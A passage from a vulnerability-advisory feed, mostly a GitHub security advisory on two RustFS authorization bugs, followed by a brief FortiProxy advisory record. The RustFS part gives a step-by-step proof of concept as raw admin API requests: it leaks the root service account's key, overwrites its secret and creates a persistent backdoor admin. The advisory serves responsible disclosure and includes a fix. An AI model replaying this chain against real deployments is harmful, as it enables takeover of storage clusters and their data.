(1.0.0-alpha.91, revision `d4ea14c2`) \u2014 the same revision is byte-identical on current `origin/main`.\n\n## Vulnerability Details\n\n- **Package:** `rustfs` (binary crate `rustfs`)\n- **Affected versions:** From `0a2411f` (the initial `service_account.rs` check-in on 2026-03-15) through current HEAD `90e584a`. The vulnerable line has never been touched.\n- **Fixed versions:** None\n- **Vulnerable file:** `rustfs/src/admin/handlers/service_account.rs`\n- **Vulnerable route:** `GET /rustfs/admin/v3/list-service-accounts?user=\u003cother_user\u003e` (`ListServiceAccount::call`)\n- **CWE:** CWE-863 (Incorrect Authorization), chained with CWE-620 (Unverified Password Change) to reach CWE-269 (Improper Privilege Management)\n- **CVSS (demonstrated chain to full admin):** `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` = **10.0 Critical**. If scored as Scope:Unchanged the vector is `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` = **8.8 High**. The list bug alone (no chain) is `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N` = **6.5 Medium** and is what a maintainer would rate it if the Update ownership gap is out of scope for this report.\n\n## Two Distinct Vulnerabilities\n\nThis report documents two bugs that chain to full RustFS administrative takeover. Each is independently fixable and independently a security issue:\n\n**Vulnerability A \u2014 Wrong action constant in ListServiceAccount (CWE-863)**\n`ListServiceAccount::call` at line 936 checks `UpdateServiceAccountAdminAction` instead of `ListServiceAccountsAdminAction`. This is a copy-paste typo: the three sibling list handlers (lines 658, 799, 1095) all use the correct constant. The result is a permission inversion \u2014 the correct permission (`admin:ListServiceAccounts`) is rejected, and the wrong one (`admin:UpdateServiceAccount`) is accepted. Independently, this is a Medium-severity cross-user information disclosure.\n\n**Vulnerability B \u2014 Missing ownership check in UpdateServiceAccount (CWE-620)**\n`UpdateServiceAccount::call` at lines 489-614 authorizes on possession of `admin:UpdateServiceAccount` but never verifies the target `?accessKey=` belongs to the caller or the caller\u0027s parent. Lines 522-525 contain a commented-out `get_service_account` call that would have loaded the target for such a check. This means any holder of `admin:UpdateServiceAccount` can overwrite any service account\u0027s secret in the cluster, regardless of ownership.\n\n**Chain (A + B) \u2014 Full RustFS administrative takeover**\nVulnerability A leaks every service account\u0027s access key (including the root administrator\u0027s). Vulnerability B allows overwriting any SA\u0027s secret given its access key. Together: a user with a single permission (`admin:UpdateServiceAccount`) enumerates the root user\u0027s SA access key via the wrong-action list bug, overwrites its secret via the ownership-free update handler, authenticates as the root user\u0027s service account, and creates a persistent backdoor admin with full RustFS administrative control.\n\n**Authorization mismatch at a glance:**\n\nExact policies attached to each test identity (retrieved from running server via `GET /admin/v3/info-canned-policy`):\n\n        legit-list-pol      -\u003e {\"Action\": [\"admin:ListServiceAccounts\"],  \"Resource\": [\"arn:aws:s3:::*\"]}\n        list-sa-probe-pol   -\u003e {\"Action\": [\"admin:UpdateServiceAccount\"], \"Resource\": [\"arn:aws:s3:::*\"]}\n        list-sa-restricted  -\u003e {\"Action\": [\"admin:UpdateServiceAccount\"], \"Resource\": [\"arn:aws:s3:::probe-scope/*\"]}\n        (zero-priv-user has no attached policy)\n\n| Identity | Attached policy | `GET /list-service-accounts?user=rustfsadmin` | Expected |\n|---|---|---|---|\n| `probe-user` | `list-sa-probe-pol` (`admin:UpdateServiceAccount`) | **200** (full SA metadata) | 403 |\n| `legit-list-user` | `legit-list-pol` (`admin:ListServiceAccounts`) | **403** AccessDenied | 200 |\n| `restricted-update-user` | `list-sa-restricted` (`admin:UpdateServiceAccount` on `probe-scope/*`) | **200** | 403 |\n| `zero-priv-user` | (none) | **403** | 403 |\n| (unauthenticated) | n/a | **403** Signature required | 403 |\n\n### Why the correct permission gets 403\n\nThe handler at line 936 calls `is_allowed` with the action `AdminAction::UpdateServiceAccountAdminAction`. The IAM engine performs an exact string match between the action in the `is_allowed` call (`admin:UpdateServiceAccount`) and the action in the caller\u0027s attached policy:\n\n- `legit-list-user` has policy action `admin:ListServiceAccounts`. This does **not** match `admin:UpdateServiceAccount`. `is_allowed` returns false. The handler returns 403. The user who holds the *correct* permission for listing service accounts is denied.\n- `probe-user` has policy action `admin:UpdateServiceAccount`. This **matches** `admin:UpdateServiceAccount`. `is_allowed` returns true. The handler returns 200. The user who holds a *different, unrelated* permission is granted access to a list endpoint.\n- `restricted-update-user` has the same action string but resource-scoped to `arn:aws:s3:::probe-scope/*`. Admin-action statements skip resource matching (`crates/policy/src/policy/statement.rs:132`: `\u0026\u0026 !self.is_admin() \u0026\u0026 !self.is_sts()`), so the resource restriction is ignored and `is_allowed` still returns true.\n\nThere is no wildcard, superset, or inheritance relationship between these two action strings. They are separate enum variants (`crates/policy/src/policy/action.rs:459-462`) with distinct `strum(serialize)` values. The IAM engine is working correctly; the handler passes the wrong action to it.\n\nRaw request/response for `legit-list-user` (the counterintuitive 403):\n\n        GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin  HTTP/1.1\n        Authorization: AWS4-HMAC-SHA256 Credential=legit-list-user/...\n\n        HTTP/1.1 403\n        \u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cError\u003e\u003cCode\u003eAccessDenied\u003c/Code\u003e\u003cMessage\u003eaccess denied\u003c/Message\u003e\u003c/Error\u003e\n\n**Why this is not \"working as intended\":**\n- `admin:UpdateServiceAccount` and `admin:ListServiceAccounts` are distinct enum variants with distinct string representations. The codebase treats them as orthogonal permissions.\n- Three sibling list handlers in the same file (lines 658, 799, 1095) all check `ListServiceAccountsAdminAction`. Only line 936 deviates.\n- CVE-2026-22042 / GHSA-vcwh-pff9-64cc is the maintainers\u0027 own precedent: `ImportIam` checking `ExportIAMAction` was rated Medium and fixed. The same class of bug applies here.\n- A zero-privilege user (no admin policies at all) cannot exploit either vulnerability \u2014 both handlers correctly enforce their respective `is_allowed` checks. The bug is that the list handler enforces the *wrong* action constant, not that it skips enforcement entirely.\n\n## Root Cause \u2014 Vulnerability A (Wrong Action Constant)\n\n`ListServiceAccount::call` is registered for `GET /rustfs/admin/v3/list-service-accounts` at `rustfs/src/admin/handlers/service_account.rs:137-141`. The cross-user branch (entered when `?user=\u003cx\u003e` does not match the caller) checks the wrong admin action:\n\n    // rustfs/src/admin/handlers/service_account.rs:931-953  (HEAD 90e584a, identical at d4ea14c2)\n    let target_account = if query.user.as_ref().is_some_and(|v| v != \u0026cred.access_key) {\n        if !iam_store\n            .is_allowed(\u0026Args {\n                account: \u0026cred.access_key,\n                groups: \u0026cred.groups,\n                action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction), // WRONG\n                bucket: \"\",\n                conditions: \u0026get_condition_values(...),\n                is_owner: owner,\n                object: \"\",\n                claims: cred.claims.as_ref().unwrap_or(\u0026HashMap::new()),\n                deny_only: false,\n            })\n            .await\n        {\n            return Err(s3_error!(AccessDenied, \"access denied\"));\n        }\n        query.user.unwrap_or_default()\n    } else if cred.parent_user.is_empty() {\n        cred.access_key\n    } else {\n        cred.parent_user\n    };\n\nThe action enum definitions are cleanly distinct at `crates/policy/src/policy/action.rs:459-464`:\n\n    #[strum(serialize = \"admin:CreateServiceAccount\")] CreateServiceAccountAdminAction,\n    #[strum(serialize = \"admin:UpdateServiceAccount\")] UpdateServiceAccountAdminAction,\n    #[strum(serialize = \"admin:RemoveServiceAccount\")] RemoveServiceAccountAdminAction,\n    #[strum(serialize = \"admin:ListServiceAccounts\")]  ListServiceAccountsAdminAction,\n\nEvery *other* list handler in the same file authorizes on the correct constant:\n\n    rustfs/src/admin/handlers/service_account.rs:658   InfoServiceAccount::call   -\u003e ListServiceAccountsAdminAction\n    rustfs/src/admin/handlers/service_account.rs:799   InfoAccessKey::call        -\u003e ListServiceAccountsAdminAction\n    rustfs/src/admin/handlers/service_account.rs:1095  ListAccessKeysBulk::call   -\u003e ListServiceAccountsAdminAction\n\nOnly `ListServiceAccount::call` at line 936 deviates. This is a typo/wiring error, not a design choice.\n\n`git blame` shows the line has been wrong since commit `0a2411f` (heihutu, 2026-03-15), the initial check-in of `service_account.rs`.\n\n## Root Cause \u2014 Vulnerability B (Missing Ownership Check in Update)\n\nService account access keys are the identifier the `UpdateServiceAccount` handler accepts via the `?accessKey=` query string. Inspecting `UpdateServiceAccount::call` at `rustfs/src/admin/handlers/service_account.rs:489-614`:\n\n    let access_key = query.access_key;                                // line 509\n    ...\n    if !iam_store.is_allowed(\u0026Args {\n        account: \u0026cred.access_key,\n        action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction),\n        ...\n    }).await { return Err(s3_error!(AccessDenied, \"access denied\")); } // line 538-559\n    ...\n    let updated_at = iam_store.update_service_account(\u0026access_key, opts).await  // line 579\n        .map_err(...)?;\n\nThe handler authorizes on *possession of* `admin:UpdateServiceAccount` and **never checks** that the `?accessKey=` query parameter resolves to a service account owned by the caller. Notably, lines 522-525 contain a commented-out `get_service_account` call that would have loaded the target SA for an ownership check \u2014 it was present in the initial commit and has been commented out since:\n\n    // let svc_account = iam_store.get_service_account(\u0026access_key).await.map_err(|e| {\n    //     debug!(\"get service account failed, e: {:?}\", e);\n    //     s3_error!(InternalError, \"get service account failed\")\n    // })?;\n\nThe inner `IamSys::update_service_account` at `crates/iam/src/sys.rs:495-501` delegates to `IamCache::update_service_account` at `crates/iam/src/manager.rs:663` which loads the credentials by access-key name, verifies it is a service account, and overwrites `secret_key` \u2014 again, no ownership check:\n\n    // crates/iam/src/manager.rs:663\n    pub async fn update_service_account(\u0026self, name: \u0026str, opts: UpdateServiceAccountOpts) -\u003e Result\u003cOffsetDateTime\u003e {\n        let Some(ui) = self.cache.users.load().get(name).cloned() else {\n            return Err(Error::NoSuchServiceAccount(name.to_string()));\n        };\n        ...\n        let mut cr = ui.credentials.clone();\n        let current_secret_key = cr.secret_key.clone();\n\n        if let Some(secret) = opts.secret_key {\n            if !is_secret_key_valid(\u0026secret) {\n                return Err(Error::InvalidSecretKeyLength);\n            }\n            cr.secret_key = secret;                // \u003c-- attacker-chosen\n        }\n        ...\n\nSo a holder of `admin:UpdateServiceAccount` who knows *any* service account\u0027s access key can overwrite its secret. The list bug at line 936 hands them every access key in the cluster, including `root-sa-1`.\n\nThe two bugs together form a clean chain:\n\n1. Attacker has a single admin permission: `admin:UpdateServiceAccount`.\n2. Attacker calls `GET /v3/list-service-accounts?user=rustfsadmin` \u2014 vulnerable handler grants access.\n3. Attacker reads `accessKey=root-sa-1` out of the response.\n4. Attacker calls `POST /v3/update-service-account?accessKey=root-sa-1` with body `{\"newSecretKey\":\"...\"}` \u2014 ownership-less handler overwrites.\n5. Attacker authenticates as `root-sa-1` with the chosen secret and inherits the root user\u0027s full `admin:*` + `s3:*` authority.\n\n## Environment and Version Alignment\n\n- Image: `rustfs/rustfs:latest`, digest `sha256:74f8eaad96124c7e019bedfb892b41a9429c495f57b883182427c5e9e9d53c6a`\n- Labels: `org.opencontainers.image.version=1.0.0-alpha.91`, `org.opencontainers.image.revision=d4ea14c2ba99602314511d5862005f7b871ece37`, `org.opencontainers.image.build-type=prerelease`\n- Source verification:\n\n        $ git show d4ea14c2:rustfs/src/admin/handlers/service_account.rs | sed -n \u0027931,940p\u0027\n                let target_account = if query.user.as_ref().is_some_and(|v| v != \u0026cred.access_key) {\n                    if !iam_store\n                        .is_allowed(\u0026Args {\n                            account: \u0026cred.access_key,\n                            groups: \u0026cred.groups,\n                            action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction),\n                            bucket: \"\",\n                            ...\n\n        $ git show origin/main:rustfs/src/admin/handlers/service_account.rs | sed -n \u0027931,940p\u0027\n                let target_account = if query.user.as_ref().is_some_and(|v| v != \u0026cred.access_key) {\n                    if !iam_store\n                        .is_allowed(\u0026Args {\n                            account: \u0026cred.access_key,\n                            groups: \u0026cred.groups,\n                            action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction),\n                            bucket: \"\",\n                            ...\n\nByte-identical. The shipped image contains the same vulnerable handler as the tip of main.\n\n## Proof of Concept (executed live)\n\n### Environment\n\n        docker run -d --name rustfs-poc --memory=2g -p 9100:9000 \\\n            -e RUSTFS_ACCESS_KEY=rustfsadmin -e RUSTFS_SECRET_KEY=rustfsadmin \\\n            rustfs/rustfs:latest\n\nRoot credentials: `rustfsadmin:rustfsadmin`.\n\n### Step 1 \u2014 Provision the probe identity\n\nThe probe policy grants exactly **one** admin action, scoped to the broadest resource. Nothing else.\n\n        {\n          \"Version\": \"2012-10-17\",\n          \"Statement\": [\n            {\n              \"Effect\": \"Allow\",\n              \"Action\": [\"admin:UpdateServiceAccount\"],\n              \"Resource\": [\"arn:aws:s3:::*\"]\n            }\n          ]\n        }\n\nCreation as root:\n\n        PUT /rustfs/admin/v3/add-canned-policy?name=list-sa-probe-pol        -\u003e 200\n        PUT /rustfs/admin/v3/add-user?accessKey=probe-user                   -\u003e 200  (secret: probe-secret1234)\n        PUT /rustfs/admin/v3/set-user-or-group-policy?userOrGroup=probe-user\u0026isGroup=false\u0026policyName=list-sa-probe-pol -\u003e 200\n        PUT /rustfs/admin/v3/add-user?accessKey=victim-user                  -\u003e 200  (no policy)\n        PUT /rustfs/admin/v3/add-service-accounts                            -\u003e 200  (creates victim-sa-1 under victim-user)\n        PUT /rustfs/admin/v3/add-service-accounts                            -\u003e 200  (creates root-sa-1 under rustfsadmin)\n\n### Step 2 \u2014 Baseline: probe-user is actually constrained\n\nConfirming `probe-user` is denied on unrelated admin endpoints so the \"200 on list-service-accounts\" is not the side effect of some ambient privilege:\n\n        GET /rustfs/admin/v3/list-users                 as probe-user -\u003e 403 AccessDenied\n        GET /rustfs/admin/v3/info                       as probe-user -\u003e 403 AccessDenied\n        GET /rustfs/admin/v3/list-canned-policies       as probe-user -\u003e 403 AccessDenied\n        GET /rustfs/admin/v3/kms/status                 as probe-user -\u003e 403 AccessDenied\n        PUT /rustfs/admin/v3/add-canned-policy?name=... as probe-user -\u003e 403 AccessDenied\n        GET /rustfs/admin/v3/list-service-accounts      as probe-user -\u003e 200 {\"accounts\":[]}  # self-scope OK\n\nThe self-scope list (no `user=` query) returns an empty array \u2014 the caller\u0027s own service account inventory, which is correctly allowed. This isolates the bug to the cross-user branch only.\n\n### Step 3 \u2014 Primary exploit: enumerate other users\u0027 service accounts\n\n        GET /rustfs/admin/v3/list-service-accounts?user=victim-user  as probe-user -\u003e 200\n        {\"accounts\":[{\"parentUser\":\"victim-user\",\"accountStatus\":\"on\",\"impliedPolicy\":true,\"accessKey\":\"victim-sa-1\",\"name\":\"sa-victim-user-victim-sa-1\",\"description\":\"probe target SA for user victim-user\",\"expiration\":null}]}\n\n        GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin  as probe-user -\u003e 200\n        {\"accounts\":[{\"parentUser\":\"rustfsadmin\",\"accountStatus\":\"on\",\"impliedPolicy\":true,\"accessKey\":\"root-sa-1\",\"name\":\"sa-rustfsadmin-root-sa-1\",\"description\":\"probe target SA for user rustfsadmin\",\"expiration\":null}]}\n\nExposed per entry: `parentUser`, `accountStatus`, `impliedPolicy`, **`accessKey`**, `name`, `description`, `expiration`. The response does not leak secret keys or session tokens (those are cleared server-side), but it does leak the `accessKey` \u2014 the identifier that the `UpdateServiceAccount` endpoint consumes via `?accessKey=`.\n\n### Step 4 \u2014 Differential: the correct permission gets denied\n\nCreated `legit-list-user` with a policy granting only `admin:ListServiceAccounts`:\n\n        {\n          \"Version\": \"2012-10-17\",\n          \"Statement\": [\n            {\n              \"Effect\": \"Allow\",\n              \"Action\": [\"admin:ListServiceAccounts\"],\n              \"Resource\": [\"arn:aws:s3:::*\"]\n            }\n          ]\n        }\n\nRunning the same request:\n\n        GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin  as legit-list-user -\u003e 403\n        \u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cError\u003e\u003cCode\u003eAccessDenied\u003c/Code\u003e\u003cMessage\u003eaccess denied\u003c/Message\u003e\u003c/Error\u003e\n\nThis is the damning evidence of inversion. The handler refuses the **correct** permission (`admin:ListServiceAccounts`) and accepts the **wrong** one (`admin:UpdateServiceAccount`). There is no superset/subset relationship in the action enum; these are two distinct constants. A deployment that grants its operators `admin:ListServiceAccounts` to view the service account inventory \u2014 the intuitive and documented approach \u2014 will see every cross-user list request return 403 until this bug is fixed.\n\nThe resource-scoped variant gave the same result as the broad variant:\n\n        # Policy: admin:UpdateServiceAccount on arn:aws:s3:::probe-scope/* (unrelated to any SA)\n        GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin  as restricted-update-user -\u003e 200 (same body as probe-user)\n\nResource restrictions on admin actions are skipped in `crates/policy/src/policy/statement.rs:132` (`\u0026\u0026 !self.is_admin() \u0026\u0026 !self.is_sts()`), so the bug is equally reachable by an operator whose `admin:UpdateServiceAccount` grant was scoped to a specific bucket.\n\nAnd unauthenticated requests are still rejected:\n\n        GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin  (no signature) -\u003e 403 \"Signature is required\"\n\nThis is an **authenticated privilege-boundary violation**, not a pre-auth bug.\n\n### Step 4b \u2014 Zero-privilege user is correctly blocked\n\nTo confirm the bug is in the action constant (not a missing check), created `zero-priv-user` with **no policies at all**:\n\n        GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin  as zero-priv-user -\u003e 403 AccessDenied\n        POST /rustfs/admin/v3/update-service-account?accessKey=root-sa-1  as zero-priv-user -\u003e 403 AccessDenied\n        GET /rustfs/admin/v3/list-service-accounts  as zero-priv-user -\u003e 200 {\"accounts\":[]}  # self-scope only\n\nThe `is_allowed` check at line 936 fires and correctly blocks zero-priv-user because they have *no* admin permissions. The bug is not that the check is skipped \u2014 it is that the check uses the **wrong action constant**, so it grants access to users holding `admin:UpdateServiceAccount` (the wrong permission) and denies users holding `admin:ListServiceAccounts` (the correct permission).\n\n### Step 5 \u2014 Full chain to RustFS admin takeover (persistent backdoor)\n\nWith `accessKey=root-sa-1` known, `probe-user` (still only `admin:UpdateServiceAccount`) hijacks the root service account\u0027s secret:\n\n        POST /rustfs/admin/v3/update-service-account?accessKey=root-sa-1  as probe-user\n             body: {\"newSecretKey\":\"pwned-secret-2\"}                           -\u003e 204 NoContent\n\nThen re-signs and calls admin APIs as `root-sa-1/pwned-secret-2`:\n\n        GET /rustfs/admin/v3/list-users  as root-sa-1/pwned-secret-2 -\u003e 200\n        {\"svinfo-user\":{\"policyName\":\"serverinfo-only\",\"status\":\"enabled\",...},\n         \"probe-user\":{\"policyName\":\"list-sa-probe-pol\",\"status\":\"enabled\",...},\n         \"readonly-user\":{\"policyName\":\"readonly\",\"status\":\"enabled\",...},\n         \"victim-user\":{\"status\":\"enabled\",...}}\n\n        GET /rustfs/admin/v3/info  as root-sa-1/pwned-secret-2       -\u003e 200\n        {\"mode\":\"online\",\"backend\":{\"backendType\":\"Erasure\",\"online\":...},\"buckets\":{\"count\":...},\"services\":{...}}\n\nBoth endpoints previously returned 403 for `probe-user`. They now succeed because `root-sa-1` inherits `rustfsadmin`\u0027s full authority.\n\nExtending the chain to a persistent backdoor, still driven by `probe-user`\u0027s hijacked `root-sa-1` session:\n\n        PUT /rustfs/admin/v3/add-user?accessKey=backdoor-admin                 -\u003e 200  (body: {\"secretKey\":\"backdoor-secret-9\",\"status\":\"enabled\"})\n        PUT /rustfs/admin/v3/add-canned-policy?name=proof-admin-all            -\u003e 200  (body: admin:* + s3:*)\n        PUT /rustfs/admin/v3/set-user-or-group-policy?userOrGroup=backdoor-admin\u0026isGroup=false\u0026policyName=proof-admin-all -\u003e 200\n\nDirect authentication as the new admin (no further reliance on the hijacked SA):\n\n        GET /rustfs/admin/v3/list-users  as backdoor-admin/backdoor-secret-9   -\u003e 200 (same full user dump)\n        PUT /proof-admin-bucket          as backdoor-admin/backdoor-secret-9   -\u003e 200 (new bucket created on the S3 plane)\n\nThe attacker now owns a persistent admin identity with `admin:*` and `s3:*` that will survive secret rotations on `root-sa-1`. Starting identity was a user granted exactly one admin action.\n\n### Full PoC scripts\n\nRunnable top-to-bottom against a fresh `rustfs/rustfs:latest` container. Each script prints raw HTTP status codes and response bodies.\n\n- `poc/01_setup_probe_user.py` \u2014 create policies, users, service accounts.\n- `poc/02_baseline_probe.py` \u2014 403/200 differential on unrelated admin endpoints.\n- `poc/03_exploit.py` \u2014 primary ListServiceAccount enumeration.\n- `poc/04_escalate_takeover.py` \u2014 hijack root-sa-1 and prove admin calls.\n- `poc/05_full_root_compromise.py` \u2014 end-to-end chain including backdoor-admin creation and new bucket.\n- `poc/06_differential_and_resource.py` \u2014 legit-list-user 403 and resource-scoped 200.\n\n## Impact\n\n1. **Full RustFS administrative takeover (Confidentiality: High, Integrity: High, Availability: High).**\n   A user with a single admin permission (`admin:UpdateServiceAccount`) chains the list bug with the ownership-free `UpdateServiceAccount` handler to overwrite any service account\u0027s secret \u2014 including the root administrator\u0027s \u2014 and inherit full `admin:*` + `s3:*` authority over the RustFS deployment. Demonstrated live: probe-user \u2192 list \u2192 hijack root-sa-1 \u2192 create persistent backdoor-admin \u2192 create bucket.\n\n2. **Authorization inversion on a core admin endpoint (Integrity).**\n   Users granted the intended `admin:ListServiceAccounts` permission receive 403 on cross-user list requests. A rustfs deployment that issues `admin:ListServiceAccounts` to its operators (the obvious and documented interpretation of the action name) is silently broken until this is fixed.\n\n3. **Cross-user service-account inventory disclosure (Confidentiality: High).**\n   Even absent the update-ownership gap, the bug exposes every service account\u0027s access key, owning principal, name, description, account status, and expiration to any `admin:UpdateServiceAccount` holder. This maps the full service-account topology of the cluster and identifies which account to target for a secret rotation attack.\n\n4. **Resource-scoped policies provide no mitigation (Integrity).**\n   `statement.rs:132` skips resource matching for admin statements, so restricting `admin:UpdateServiceAccount` to a specific bucket ARN (the usual pattern for bounded delegation) gives a false sense of isolation and does not reduce the blast radius of this bug.\n\n## Suggested Fix\n\nThe minimal, correct fix is a one-line change at `rustfs/src/admin/handlers/service_account.rs:936`:\n\n    // rustfs/src/admin/handlers/service_account.rs:936\n    -                    action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction),\n    +                    action: Action::AdminAction(AdminAction::ListServiceAccountsAdminAction),\n\nThis brings `ListServiceAccount` in line with the three sibling handlers (lines 658, 799, 1095) that correctly enforce `ListServiceAccountsAdminAction`, and restores the documented meaning of the `admin:ListServiceAccounts` permission for operators who rely on it.\n\n### Recommended follow-up (separate but related)\n\nEven after this fix, `UpdateServiceAccount::call` at `rustfs/src/admin/handlers/service_account.rs:489-614` will still lack any check that the target `?accessKey=` belongs to the caller (or the caller\u0027s parent), so any holder of `admin:UpdateServiceAccount` who can otherwise obtain the access key of a higher-privileged service account can still hijack it. Consider adding an ownership precondition inside the handler before calling `iam_store.update_service_account`:\n\n    let target = iam_store.get_service_account(\u0026access_key).await\n        .map_err(|e| map_service_account_lookup_error(e, \"get service account failed\"))?;\n    let caller_parent = if cred.parent_user.is_empty() { cred.access_key.as_str() } else { cred.parent_user.as_str() };\n    if target.0.parent_user != caller_parent \u0026\u0026 !is_owner {\n        // Only root or the parent user should be able to mutate this SA.\n        // (Or additionally require a dedicated admin action granted to full admins.)\n        return Err(s3_error!(AccessDenied, \"access denied\"));\n    }\n\nThis additional check closes the secret-rotation primitive for non-root holders of `admin:UpdateServiceAccount`. It is outside the strict scope of the line-936 typo, but the live PoC shows it is the mechanism by which information disclosure escalates to full administrative takeover, so fixing both in one advisory avoids leaving a usable primitive in place.\n\n## Self-Review\n\n- **Is this by-design?** No. The three sibling list handlers at lines 658, 799, and 1095 all enforce `ListServiceAccountsAdminAction`. The action enum has distinct `admin:UpdateServiceAccount` and `admin:ListServiceAccounts` strings with no wildcard relationship. There is no comment, test, or docstring suggesting the deviation at line 936 is intentional. CVE-2026-22042 / GHSA-vcwh-pff9-64cc (`ImportIam` using `ExportIAMAction`) is the maintainers\u0027 own precedent that this class of bug is treated as a real security issue.\n- **Reachability?** Proven live on `rustfs/rustfs:latest` revision `d4ea14c2`. Response bodies captured in the report above and in `poc/` logs.\n- **Is there upstream routing that enforces admin?** No. `S3Router::register` dispatches directly from `service_account.rs:137-141` into `ListServiceAccount::call`; the only authorization is the `is_allowed` call at line 931-953. Confirmed by the 200 return for `probe-user` and the 403 return for `legit-list-user` on the same path.\n- **Prior art?** No existing rustfs advisory covers this handler. `CVE-2026-22042` is the same *class* of bug in a different handler; `CVE-2026-22043` is a `deny_only` short-circuit bug in the same file but a completely different code path. Both are explicitly distinct from the line 936 typo.\n- **Is the docker image the same code as main?** Yes. Image label `org.opencontainers.image.revision=d4ea14c2`; `git show d4ea14c2:rustfs/src/admin/handlers/service_account.rs` at lines 931-960 is byte-identical to `git show origin/main:rustfs/src/admin/handlers/service_account.rs`. Re-verified on 2026-04-09 at HEAD `90e584a` \u2014 file unchanged since initial commit `0a2411f`.\n  - The commented-out ownership check at lines 522-525 of `UpdateServiceAccount::call` demonstrates the developer was aware an ownership check belonged there but left it disabled. This is not a design decision \u2014 it is incomplete implementation that this report\u0027s chain exploits.\n- **Honest limitations:**\n  - The primary exploit requires an authenticated principal with `admin:UpdateServiceAccount`. It is not pre-auth.\n  - Secret keys of the enumerated service accounts are NOT returned by the list handler (they are explicitly cleared elsewhere). Only the access key is disclosed. The escalation to RustFS admin relies on the *Update* path to overwrite the secret, not on reading a leaked secret.\n  - The full administrative takeover chain depends on the separate `UpdateServiceAccount` ownership gap. If a reviewer considers that gap out of scope for this report, the line-936 typo on its own is best-rated as **Medium** cross-user information disclosure (`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N` = 6.5). The live PoC and differential stand independent of that scoping.\n  - The differential (legit-list-user \u2192 403, probe-user \u2192 200) isolates the cause to the handler\u0027s action constant and is reproducible in seconds against a fresh container.\n\n## Resources\n\n- Vulnerable file in image: `rustfs/src/admin/handlers/service_account.rs` @ `d4ea14c2ba99602314511d5862005f7b871ece37`\n- Vulnerable file at HEAD: `rustfs/src/admin/handlers/service_account.rs` @ `90e584a` (file unchanged since `0a2411f`)\n- Incorrect action at line 936: `https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/rustfs/src/admin/handlers/service_account.rs#L931-L953`\n- Correct action at line 658 (`InfoServiceAccount`): `https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/rustfs/src/admin/handlers/service_account.rs#L658`\n- Correct action at line 799 (`InfoAccessKey`): `https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/rustfs/src/admin/handlers/service_account.rs#L799`\n- Correct action at line 1095 (`ListAccessKeysBulk`): `https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/rustfs/src/admin/handlers/service_account.rs#L1095`\n- AdminAction enum: `https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/crates/policy/src/policy/action.rs#L457-L464`\n- UpdateServiceAccount handler (ownership gap): `https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/rustfs/src/admin/handlers/service_account.rs#L489-L614`\n- IamCache::update_service_account: `https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/crates/iam/src/manager.rs#L663`\n- Admin statements skip resource matching: `https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/crates/policy/src/policy/statement.rs#L132`\n- rustfs security policy: `https://github.com/rustfs/rustfs/security/policy`\n- Prior art (same class, different handler): `CVE-2026-22042` / `GHSA-vcwh-pff9-64cc`\n\n\nKoda Reef",
  "id": "GHSA-mm2q-qcmx-gw4w",
  "modified": "2026-05-05T20:14:16Z",
  "published": "2026-05-05T20:14:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rustfs/rustfs/security/advisories/GHSA-mm2q-qcmx-gw4w"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rustfs/rustfs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "RustFS: ListServiceAccount authorizes against wrong admin action, enabling cross-user enumeration and root service account takeover"
}

GHSA-MM5G-P9FC-43HM

Vulnerability from github – Published: 2022-05-24 17:43 – Updated: 2022-07-13 00:01
VLAI
Details

An improper access control vulnerability in FortiProxy SSL VPN portal 2.0.0, 1.2.9 and below versions may allow an authenticated, remote attacker to access internal service such as the ZebOS Shell on the FortiProxy appliance through the Quick Connection functionality.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-22128"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-03-04T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An improper access control vulnerability in FortiProxy SSL VPN portal 2.0.0, 1.2.9 and below versions may allow an authenticated, remote attacker to access internal service such as the ZebOS Shell on the FortiProxy appliance through the Quick Connection functionality.",
  "id": "GHSA-mm5g-p9fc-43hm",
  "modified": "2022-07-13T00:01:08Z",
  "published": "2022-05-24T17:43:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22128"
    },
    {
      "type": "WEB",
      "url": "https://fortiguard.com/advisory/FG-IR-20-235"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MM78-FGQ8-6PGR

